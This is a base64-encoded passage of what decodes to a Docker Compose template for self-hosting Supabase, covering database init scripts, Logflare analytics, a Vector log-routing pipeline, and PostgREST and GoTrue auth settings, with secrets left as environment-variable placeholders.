VNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3Rfc2VjcmV0XCIgVE8gOidqd3Rfc2VjcmV0JztcbkFMVEVSIERBVEFCQVNFIDpkYl9uYW1lIFNFVCBcImFwcC5zZXR0aW5ncy5qd3RfZXhwXCIgVE8gOidqd3RfZXhwJztcbiIKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9sb2dzLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktbG9ncy5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwic3VwYWJhc2VfYWRtaW5cImBcblxcYyBfc3VwYWJhc2VcbmNyZWF0ZSBzY2hlbWEgaWYgbm90IGV4aXN0cyBfYW5hbHl0aWNzO1xuYWx0ZXIgc2NoZW1hIF9hbmFseXRpY3Mgb3duZXIgdG8gOnBndXNlcjtcblxcYyBwb3N0Z3Jlc1xuIgogICAgICAtICdzdXBhYmFzZS1kYi1jb25maWc6L2V0Yy9wb3N0Z3Jlc3FsLWN1c3RvbScKICBzdXBhYmFzZS1hbmFseXRpY3M6CiAgICBpbWFnZTogJ3N1cGFiYXNlL2xvZ2ZsYXJlOjEuNC4wJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGN1cmwKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjQwMDAvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWRiOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMT0dGTEFSRV9OT0RFX0hPU1Q9MTI3LjAuMC4xCiAgICAgIC0gREJfVVNFUk5BTUU9c3VwYWJhc2VfYWRtaW4KICAgICAgLSBEQl9EQVRBQkFTRT1fc3VwYWJhc2UKICAgICAgLSAnREJfSE9TVE5BTUU9JHtQT1NUR1JFU19IT1NUTkFNRTotc3VwYWJhc2UtZGJ9JwogICAgICAtICdEQl9QT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ0RCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gREJfU0NIRU1BPV9hbmFseXRpY3MKICAgICAgLSAnTE9HRkxBUkVfQVBJX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfTE9HRkxBUkV9JwogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlQ9dHJ1ZQogICAgICAtIExPR0ZMQVJFX1NJTkdMRV9URU5BTlRfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfU1VQQUJBU0VfTU9ERT10cnVlCiAgICAgIC0gTE9HRkxBUkVfTUlOX0NMVVNURVJfU0laRT0xCiAgICAgIC0gJ1BPU1RHUkVTX0JBQ0tFTkRfVVJMPXBvc3RncmVzcWw6Ly9zdXBhYmFzZV9hZG1pbjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9L19zdXBhYmFzZScKICAgICAgLSBQT1NUR1JFU19CQUNLRU5EX1NDSEVNQT1fYW5hbHl0aWNzCiAgICAgIC0gTE9HRkxBUkVfRkVBVFVSRV9GTEFHX09WRVJSSURFPW11bHRpYmFja2VuZD10cnVlCiAgc3VwYWJhc2UtdmVjdG9yOgogICAgaW1hZ2U6ICd0aW1iZXJpby92ZWN0b3I6MC4yOC4xLWFscGluZScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLS1uby12ZXJib3NlJwogICAgICAgIC0gJy0tdHJpZXM9MScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vc3VwYWJhc2UtdmVjdG9yOjkwMDEvaGVhbHRoJwogICAgICB0aW1lb3V0OiA1cwogICAgICBpbnRlcnZhbDogNXMKICAgICAgcmV0cmllczogMwogICAgdm9sdW1lczoKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9sb2dzL3ZlY3Rvci55bWwKICAgICAgICB0YXJnZXQ6IC9ldGMvdmVjdG9yL3ZlY3Rvci55bWwKICAgICAgICByZWFkX29ubHk6IHRydWUKICAgICAgICBjb250ZW50OiAiYXBpOlxuICBlbmFibGVkOiB0cnVlXG4gIGFkZHJlc3M6IDAuMC4wLjA6OTAwMVxuXG5zb3VyY2VzOlxuICBkb2NrZXJfaG9zdDpcbiAgICB0eXBlOiBkb2NrZXJfbG9nc1xuICAgIGV4Y2x1ZGVfY29udGFpbmVyczpcbiAgICAgIC0gc3VwYWJhc2UtdmVjdG9yXG5cbnRyYW5zZm9ybXM6XG4gIHByb2plY3RfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gZG9ja2VyX2hvc3RcbiAgICBzb3VyY2U6IHwtXG4gICAgICAucHJvamVjdCA9IFwiZGVmYXVsdFwiXG4gICAgICAuZXZlbnRfbWVzc2FnZSA9IGRlbCgubWVzc2FnZSlcbiAgICAgIC5hcHBuYW1lID0gZGVsKC5jb250YWluZXJfbmFtZSlcbiAgICAgIGRlbCguY29udGFpbmVyX2NyZWF0ZWRfYXQpXG4gICAgICBkZWwoLmNvbnRhaW5lcl9pZClcbiAgICAgIGRlbCguc291cmNlX3R5cGUpXG4gICAgICBkZWwoLnN0cmVhbSlcbiAgICAgIGRlbCgubGFiZWwpXG4gICAgICBkZWwoLmltYWdlKVxuICAgICAgZGVsKC5ob3N0KVxuICAgICAgZGVsKC5zdHJlYW0pXG4gIHJvdXRlcjpcbiAgICB0eXBlOiByb3V0ZVxuICAgIGlucHV0czpcbiAgICAgIC0gcHJvamVjdF9sb2dzXG4gICAgcm91dGU6XG4gICAgICBrb25nOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2Uta29uZ1wiKSdcbiAgICAgIGF1dGg6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1hdXRoXCIpJ1xuICAgICAgcmVzdDogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInN1cGFiYXNlLXJlc3RcIiknXG4gICAgICByZWFsdGltZTogJ3N0YXJ0c193aXRoKHN0cmluZyEoLmFwcG5hbWUpLCBcInJlYWx0aW1lLWRldlwiKSdcbiAgICAgIHN0b3JhZ2U6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1zdG9yYWdlXCIpJ1xuICAgICAgZnVuY3Rpb25zOiAnc3RhcnRzX3dpdGgoc3RyaW5nISguYXBwbmFtZSksIFwic3VwYWJhc2UtZnVuY3Rpb25zXCIpJ1xuICAgICAgZGI6ICdzdGFydHNfd2l0aChzdHJpbmchKC5hcHBuYW1lKSwgXCJzdXBhYmFzZS1kYlwiKSdcbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5rb25nXG4gICAgc291cmNlOiB8LVxuICAgICAgcmVxLCBlcnIgPSBwYXJzZV9uZ2lueF9sb2coLmV2ZW50X21lc3NhZ2UsIFwiY29tYmluZWRcIilcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAudGltZXN0YW1wID0gcmVxLnRpbWVzdGFtcFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0LmhlYWRlcnMucmVmZXJlciA9IHJlcS5yZWZlcmVyXG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy51c2VyX2FnZW50ID0gcmVxLmFnZW50XG4gICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QuaGVhZGVycy5jZl9jb25uZWN0aW5nX2lwID0gcmVxLmNsaWVudFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXF1ZXN0Lm1ldGhvZCA9IHJlcS5tZXRob2RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wYXRoID0gcmVxLnBhdGhcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHJlcS5wcm90b2NvbFxuICAgICAgICAgIC5tZXRhZGF0YS5yZXNwb25zZS5zdGF0dXNfY29kZSA9IHJlcS5zdGF0dXNcbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBJZ25vcmVzIG5vbiBuZ2lueCBlcnJvcnMgc2luY2UgdGhleSBhcmUgcmVsYXRlZCB3aXRoIGtvbmcgYm9vdGluZyB1cFxuICBrb25nX2VycjpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmtvbmdcbiAgICBzb3VyY2U6IHwtXG4gICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSBcIkdFVFwiXG4gICAgICAubWV0YWRhdGEucmVzcG9uc2Uuc3RhdHVzX2NvZGUgPSAyMDBcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfbmdpbnhfbG9nKC5ldmVudF9tZXNzYWdlLCBcImVycm9yXCIpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lc3RhbXBcbiAgICAgICAgICAuc2V2ZXJpdHkgPSBwYXJzZWQuc2V2ZXJpdHlcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5ob3N0ID0gcGFyc2VkLmhvc3RcbiAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5oZWFkZXJzLmNmX2Nvbm5lY3RpbmdfaXAgPSBwYXJzZWQuY2xpZW50XG4gICAgICAgICAgdXJsLCBlcnIgPSBzcGxpdChwYXJzZWQucmVxdWVzdCwgXCIgXCIpXG4gICAgICAgICAgaWYgZXJyID09IG51bGwge1xuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5tZXRob2QgPSB1cmxbMF1cbiAgICAgICAgICAgICAgLm1ldGFkYXRhLnJlcXVlc3QucGF0aCA9IHVybFsxXVxuICAgICAgICAgICAgICAubWV0YWRhdGEucmVxdWVzdC5wcm90b2NvbCA9IHVybFsyXVxuICAgICAgICAgIH1cbiAgICAgIH1cbiAgICAgIGlmIGVyciAhPSBudWxsIHtcbiAgICAgICAgYWJvcnRcbiAgICAgIH1cbiAgIyBHb3RydWUgbG9ncyBhcmUgc3RydWN0dXJlZCBqc29uIHN0cmluZ3Mgd2hpY2ggZnJvbnRlbmQgcGFyc2VzIGRpcmVjdGx5LiBCdXQgd2Uga2VlcCBtZXRhZGF0YSBmb3IgY29uc2lzdGVuY3kuXG4gIGF1dGhfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmF1dGhcbiAgICBzb3VyY2U6IHwtXG4gICAgICBwYXJzZWQsIGVyciA9IHBhcnNlX2pzb24oLmV2ZW50X21lc3NhZ2UpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLm1ldGFkYXRhLnRpbWVzdGFtcCA9IHBhcnNlZC50aW1lXG4gICAgICAgICAgLm1ldGFkYXRhID0gbWVyZ2UhKC5tZXRhZGF0YSwgcGFyc2VkKVxuICAgICAgfVxuICAjIFBvc3RnUkVTVCBsb2dzIGFyZSBzdHJ1Y3R1cmVkIHNvIHdlIHNlcGFyYXRlIHRpbWVzdGFtcCBmcm9tIG1lc3NhZ2UgdXNpbmcgcmVnZXhcbiAgcmVzdF9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIucmVzdFxuICAgIHNvdXJjZTogfC1cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPi4qKTogKD9QPG1zZz4uKikkJylcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAudGltZXN0YW1wID0gdG9fdGltZXN0YW1wIShwYXJzZWQudGltZSlcbiAgICAgICAgICAubWV0YWRhdGEuaG9zdCA9IC5wcm9qZWN0XG4gICAgICB9XG4gICMgUmVhbHRpbWUgbG9ncyBhcmUgc3RydWN0dXJlZCBzbyB3ZSBwYXJzZSB0aGUgc2V2ZXJpdHkgbGV2ZWwgdXNpbmcgcmVnZXggKGlnbm9yZSB0aW1lIGJlY2F1c2UgaXQgaGFzIG5vIGRhdGUpXG4gIHJlYWx0aW1lX2xvZ3M6XG4gICAgdHlwZTogcmVtYXBcbiAgICBpbnB1dHM6XG4gICAgICAtIHJvdXRlci5yZWFsdGltZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLmV4dGVybmFsX2lkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInXig/UDx0aW1lPlxcZCs6XFxkKzpcXGQrXFwuXFxkKykgXFxbKD9QPGxldmVsPlxcdyspXFxdICg/UDxtc2c+LiopJCcpXG4gICAgICBpZiBlcnIgPT0gbnVsbCB7XG4gICAgICAgICAgLmV2ZW50X21lc3NhZ2UgPSBwYXJzZWQubXNnXG4gICAgICAgICAgLm1ldGFkYXRhLmxldmVsID0gcGFyc2VkLmxldmVsXG4gICAgICB9XG4gICMgU3RvcmFnZSBsb2dzIG1heSBjb250YWluIGpzb24gb2JqZWN0cyBzbyB3ZSBwYXJzZSB0aGVtIGZvciBjb21wbGV0ZW5lc3NcbiAgc3RvcmFnZV9sb2dzOlxuICAgIHR5cGU6IHJlbWFwXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuc3RvcmFnZVxuICAgIHNvdXJjZTogfC1cbiAgICAgIC5tZXRhZGF0YS5wcm9qZWN0ID0gZGVsKC5wcm9qZWN0KVxuICAgICAgLm1ldGFkYXRhLnRlbmFudElkID0gLm1ldGFkYXRhLnByb2plY3RcbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfanNvbiguZXZlbnRfbWVzc2FnZSlcbiAgICAgIGlmIGVyciA9PSBudWxsIHtcbiAgICAgICAgICAuZXZlbnRfbWVzc2FnZSA9IHBhcnNlZC5tc2dcbiAgICAgICAgICAubWV0YWRhdGEubGV2ZWwgPSBwYXJzZWQubGV2ZWxcbiAgICAgICAgICAubWV0YWRhdGEudGltZXN0YW1wID0gcGFyc2VkLnRpbWVcbiAgICAgICAgICAubWV0YWRhdGEuY29udGV4dFswXS5ob3N0ID0gcGFyc2VkLmhvc3RuYW1lXG4gICAgICAgICAgLm1ldGFkYXRhLmNvbnRleHRbMF0ucGlkID0gcGFyc2VkLnBpZFxuICAgICAgfVxuICAjIFBvc3RncmVzIGxvZ3Mgc29tZSBtZXNzYWdlcyB0byBzdGRlcnIgd2hpY2ggd2UgbWFwIHRvIHdhcm5pbmcgc2V2ZXJpdHkgbGV2ZWxcbiAgZGJfbG9nczpcbiAgICB0eXBlOiByZW1hcFxuICAgIGlucHV0czpcbiAgICAgIC0gcm91dGVyLmRiXG4gICAgc291cmNlOiB8LVxuICAgICAgLm1ldGFkYXRhLmhvc3QgPSBcImRiLWRlZmF1bHRcIlxuICAgICAgLm1ldGFkYXRhLnBhcnNlZC50aW1lc3RhbXAgPSAudGltZXN0YW1wXG5cbiAgICAgIHBhcnNlZCwgZXJyID0gcGFyc2VfcmVnZXgoLmV2ZW50X21lc3NhZ2UsIHInLiooP1A8bGV2ZWw+SU5GT3xOT1RJQ0V8V0FSTklOR3xFUlJPUnxMT0d8RkFUQUx8UEFOSUM/KTouKicsIG51bWVyaWNfZ3JvdXBzOiB0cnVlKVxuXG4gICAgICBpZiBlcnIgIT0gbnVsbCB8fCBwYXJzZWQgPT0gbnVsbCB7XG4gICAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSBcImluZm9cIlxuICAgICAgfVxuICAgICAgaWYgcGFyc2VkICE9IG51bGwge1xuICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IHBhcnNlZC5sZXZlbFxuICAgICAgfVxuICAgICAgaWYgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9PSBcImluZm9cIiB7XG4gICAgICAgICAgLm1ldGFkYXRhLnBhcnNlZC5lcnJvcl9zZXZlcml0eSA9IFwibG9nXCJcbiAgICAgIH1cbiAgICAgIC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkgPSB1cGNhc2UhKC5tZXRhZGF0YS5wYXJzZWQuZXJyb3Jfc2V2ZXJpdHkpXG5cbnNpbmtzOlxuICBsb2dmbGFyZV9hdXRoOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gYXV0aF9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWdvdHJ1ZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3JlYWx0aW1lOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0gcmVhbHRpbWVfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1yZWFsdGltZS5sb2dzLnByb2QmYXBpX2tleT0ke0xPR0ZMQVJFX0FQSV9LRVk/TE9HRkxBUkVfQVBJX0tFWSBpcyByZXF1aXJlZH0nXG4gIGxvZ2ZsYXJlX3Jlc3Q6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByZXN0X2xvZ3NcbiAgICBlbmNvZGluZzpcbiAgICAgIGNvZGVjOiAnanNvbidcbiAgICBtZXRob2Q6ICdwb3N0J1xuICAgIHJlcXVlc3Q6XG4gICAgICByZXRyeV9tYXhfZHVyYXRpb25fc2VjczogMTBcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2UtYW5hbHl0aWNzOjQwMDAvYXBpL2xvZ3M/c291cmNlX25hbWU9cG9zdGdSRVNULmxvZ3MucHJvZCZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfZGI6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSBkYl9sb2dzXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgIyBXZSBtdXN0IHJvdXRlIHRoZSBzaW5rIHRocm91Z2gga29uZyBiZWNhdXNlIGluZ2VzdGluZyBsb2dzIGJlZm9yZSBsb2dmbGFyZSBpcyBmdWxseSBpbml0aWFsaXNlZCB3aWxsXG4gICAgIyBsZWFkIHRvIGJyb2tlbiBxdWVyaWVzIGZyb20gc3R1ZGlvLiBUaGlzIHdvcmtzIGJ5IHRoZSBhc3N1bXB0aW9uIHRoYXQgY29udGFpbmVycyBhcmUgc3RhcnRlZCBpbiB0aGVcbiAgICAjIGZvbGxvd2luZyBvcmRlcjogdmVjdG9yID4gZGIgPiBsb2dmbGFyZSA+IGtvbmdcbiAgICB1cmk6ICdodHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwL2FuYWx5dGljcy92MS9hcGkvbG9ncz9zb3VyY2VfbmFtZT1wb3N0Z3Jlcy5sb2dzJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9mdW5jdGlvbnM6XG4gICAgdHlwZTogJ2h0dHAnXG4gICAgaW5wdXRzOlxuICAgICAgLSByb3V0ZXIuZnVuY3Rpb25zXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWRlbm8tcmVsYXktbG9ncyZhcGlfa2V5PSR7TE9HRkxBUkVfQVBJX0tFWT9MT0dGTEFSRV9BUElfS0VZIGlzIHJlcXVpcmVkfSdcbiAgbG9nZmxhcmVfc3RvcmFnZTpcbiAgICB0eXBlOiAnaHR0cCdcbiAgICBpbnB1dHM6XG4gICAgICAtIHN0b3JhZ2VfbG9nc1xuICAgIGVuY29kaW5nOlxuICAgICAgY29kZWM6ICdqc29uJ1xuICAgIG1ldGhvZDogJ3Bvc3QnXG4gICAgcmVxdWVzdDpcbiAgICAgIHJldHJ5X21heF9kdXJhdGlvbl9zZWNzOiAxMFxuICAgIHVyaTogJ2h0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMC9hcGkvbG9ncz9zb3VyY2VfbmFtZT1zdG9yYWdlLmxvZ3MucHJvZC4yJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuICBsb2dmbGFyZV9rb25nOlxuICAgIHR5cGU6ICdodHRwJ1xuICAgIGlucHV0czpcbiAgICAgIC0ga29uZ19sb2dzXG4gICAgICAtIGtvbmdfZXJyXG4gICAgZW5jb2Rpbmc6XG4gICAgICBjb2RlYzogJ2pzb24nXG4gICAgbWV0aG9kOiAncG9zdCdcbiAgICByZXF1ZXN0OlxuICAgICAgcmV0cnlfbWF4X2R1cmF0aW9uX3NlY3M6IDEwXG4gICAgdXJpOiAnaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL2FwaS9sb2dzP3NvdXJjZV9uYW1lPWNsb3VkZmxhcmUubG9ncy5wcm9kJmFwaV9rZXk9JHtMT0dGTEFSRV9BUElfS0VZP0xPR0ZMQVJFX0FQSV9LRVkgaXMgcmVxdWlyZWR9J1xuIgogICAgICAtICcvdmFyL3J1bi9kb2NrZXIuc29jazovdmFyL3J1bi9kb2NrZXIuc29jazpybycKICAgIGVudmlyb25tZW50OgogICAgICAtICdMT0dGTEFSRV9BUElfS0VZPSR7U0VSVklDRV9QQVNTV09SRF9MT0dGTEFSRX0nCiAgICBjb21tYW5kOgogICAgICAtICctLWNvbmZpZycKICAgICAgLSBldGMvdmVjdG9yL3ZlY3Rvci55bWwKICBzdXBhYmFzZS1yZXN0OgogICAgaW1hZ2U6ICdwb3N0Z3Jlc3QvcG9zdGdyZXN0OnYxMi4yLjEyJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUEdSU1RfREJfVVJJPXBvc3RncmVzOi8vYXV0aGVudGljYXRvcjoke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QCR7UE9TVEdSRVNfSE9TVE5BTUU6LXN1cGFiYXNlLWRifToke1BPU1RHUkVTX1BPUlQ6LTU0MzJ9LyR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUEdSU1RfREJfU0NIRU1BUz0ke1BHUlNUX0RCX1NDSEVNQVM6LXB1YmxpYyxzdG9yYWdlLGdyYXBocWxfcHVibGljfScKICAgICAgLSBQR1JTVF9EQl9BTk9OX1JPTEU9YW5vbgogICAgICAtICdQR1JTVF9KV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtIFBHUlNUX0RCX1VTRV9MRUdBQ1lfR1VDUz1mYWxzZQogICAgICAtICdQR1JTVF9BUFBfU0VUVElOR1NfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnUEdSU1RfQVBQX1NFVFRJTkdTX0pXVF9FWFA9JHtKV1RfRVhQSVJZOi0zNjAwfScKICAgIGNvbW1hbmQ6IHBvc3RncmVzdAogICAgZXhjbHVkZV9mcm9tX2hjOiB0cnVlCiAgc3VwYWJhc2UtYXV0aDoKICAgIGltYWdlOiAnc3VwYWJhc2UvZ290cnVlOnYyLjE3NC4wJwogICAgZGVwZW5kc19vbjoKICAgICAgc3VwYWJhc2UtZGI6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgc3VwYWJhc2UtYW5hbHl0aWNzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy0tbm8tdmVyYm9zZScKICAgICAgICAtICctLXRyaWVzPTEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5OTk5L2hlYWx0aCcKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGVudmlyb25tZW50OgogICAgICAtIEdPVFJVRV9BUElfSE9TVD0wLjAuMC4wCiAgICAgIC0gR09UUlVFX0FQSV9QT1JUPTk5OTkKICAgICAgLSAnQVBJX0VYVEVSTkFMX1VSTD0ke0FQSV9FWFRFUk5BTF9VUkw6LWh0dHA6Ly9zdXBhYmFzZS1rb25nOjgwMDB9JwogICAgICAtIEdPVFJVRV9EQl9EUklWRVI9cG9zdGdyZXMKICAgICAgLSAnR09UUlVFX0RCX0RBVEFCQVNFX1VSTD1wb3N0Z3JlczovL3N1cGFiYXNlX2F1dGhfYWRtaW46JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUAke1BPU1RHUkVTX0hPU1ROQU1FOi1zdXBhYmFzZS1kYn06JHtQT1NUR1JFU19QT1JUOi01NDMyfS8ke1BPU1RHUkVTX0RCOi1wb3N0Z3Jlc30nCiAgICAgIC0gJ0dPVFJVRV9TSVRFX1VSTD0ke1NFUlZJQ0VfVVJMX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ0dPVFJVRV9VUklfQUxMT1dfTElTVD0ke0FERElUSU9OQUxfUkVESVJFQ1RfVVJMU30nCiAgICAgIC0gJ0dPVFJVRV9ESVNBQkxFX1NJR05VUD0ke0RJU0FCTEVfU0lHTlVQOi1mYWxzZX0nCiAgICAgIC0gR09UUlVFX0pXVF9BRE1JTl9ST0xFUz1zZXJ2aWNlX3JvbGUKICAgICAgLSBHT1RSVUVfSldUX0FVRD1hdXRoZW50aWNhdGVkCiAgICAgIC0gR09UUlVFX0pXVF9ERUZBVUxUX0dST1VQX05BTUU9YXV0aGVudGljYXRlZAogICAgICAtICdHT1RSVUVfSldUX0VYUD0ke0pXVF9FWFBJUlk6LTM2MDB9JwogICAgICAtICdHT1RSVUVfSldUX1NFQ1JFVD0ke1NFUlZJQ0VfUEFTU1dPUkRfSldUfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0VNQUlMX0VOQUJMRUQ9JHtFTkFCTEVfRU1BSUxfU0lHTlVQOi10cnVlfScKICAgICAgLSAnR09UUlVFX0VYVEVSTkFMX0FOT05ZTU9VU19VU0VSU19FTkFCTEVEPSR7